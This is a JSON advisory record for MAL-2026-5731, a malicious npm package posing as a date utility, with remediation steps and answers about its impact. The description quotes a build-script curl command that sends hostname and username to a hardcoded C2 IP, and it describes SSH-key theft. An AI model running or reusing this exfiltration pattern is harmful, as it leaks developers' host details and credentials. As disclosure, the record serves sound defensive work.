{"answers":{"affected":"1 open source package ship an affected version, including houzidawang807.","exploited":"There is no known exploitation of MAL-2026-5731 in the wild and no public exploit code.","fix":"Remove the package from your dependencies and lockfiles, then rotate any secrets on machines where it was installed.","what":"MAL-2026-5731 is a malicious package in houzidawang807, published on 13 Jun 2026."},"fix_prompt":"MAL-2026-5731 is a malicious package: houzidawang807 (npm). Every version was published to cause harm.\n\nTask:\n1. Search this repository's dependency manifests and lockfiles for the package, including transitive dependencies.\n2. If it is present, remove it, regenerate the lockfile with the project's package manager, and replace whatever it was used for.\n3. List any CI runners, developer machines or containers that installed it, so their secrets can be rotated.\n4. If the package is not used anywhere, say so and change nothing.\n\nReference: https://insights.sbomify.com/MAL-2026-5731/ (Markdown: https://insights.sbomify.com/MAL-2026-5731/index.md)","id":"MAL-2026-5731","markdown":"https://insights.sbomify.com/MAL-2026-5731/index.md","name":"MAL-2026-5731","record":{"aliases":["GHSA-f2g2-48mf-957v"],"analysis":null,"analysis_generated_by":null,"assigner":null,"cpe":[],"cvss":{"score":null,"severity":null,"source":null,"vector":null,"version":null},"cwes":[],"description":"Package advertises itself as 'a simple date formatting utility' but ships an SSH-key-stealing C2 client. postinstall.js enumerates ~/.ssh for *.pub files, collects the installer's username and platform, and POSTs a JSON payload over HTTPS to the hardcoded bare IP 124.221.154.135. Source comments explicitly label this destination as the attacker's C2 server. package.json additionally declares a `build` script that curls http://124.221.154.135/pre?h=$(hostname)\u0026u=$(whoami), leaking host identifiers in plaintext to the same C2. The legitimate-looking surface is a 3-line formatDate wrapper in index.js; the rest of the package is attack tooling. Although the malicious file is named postinstall.js, it is not currently wired into a lifecycle hook (scripts only declares `build`), so default `npm install` does not auto-execute it — however, the file is loaded by any consumer that requires the package or invokes the build script, and the file's name strongly suggests the author intends to enable it as a lifecycle hook in a follow-up version.\n\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.","ecosystems":["npm"],"exploits":{"exploitdb":null,"first_seen":null,"github_poc":null,"max_poc_stars":null,"metasploit":null,"nuclei":null,"refs":[],"tier":null},"has_fix":false,"headline":"Malicious code in houzidawang807 (npm)","id":"MAL-2026-5731","indexable":true,"kev":null,"kind":"malicious","links":{"ecosystem":"npm","product":null,"products":[],"type":null,"year":"2026"},"n_packages":1,"n_references":null,"packages":[{"ecosystem":"npm","fixed":[],"introduced":["0"],"last_affected":[],"package":"houzidawang807","purl":"pkg:npm/houzidawang807","source":"MAL-2026-5731"}],"products":null,"published":"2026-06-13","related":[],"sources":[{"class":"attribution","licence":"Apache-2.0","name":"OpenSSF Malicious Packages","prefix":"MAL"}],"ssvc":{"automatable":null,"exploitation":null,"technical_impact":null},"state":null,"updated":null,"vendors":null},"summary":null,"url":"https://insights.sbomify.com/MAL-2026-5731/"}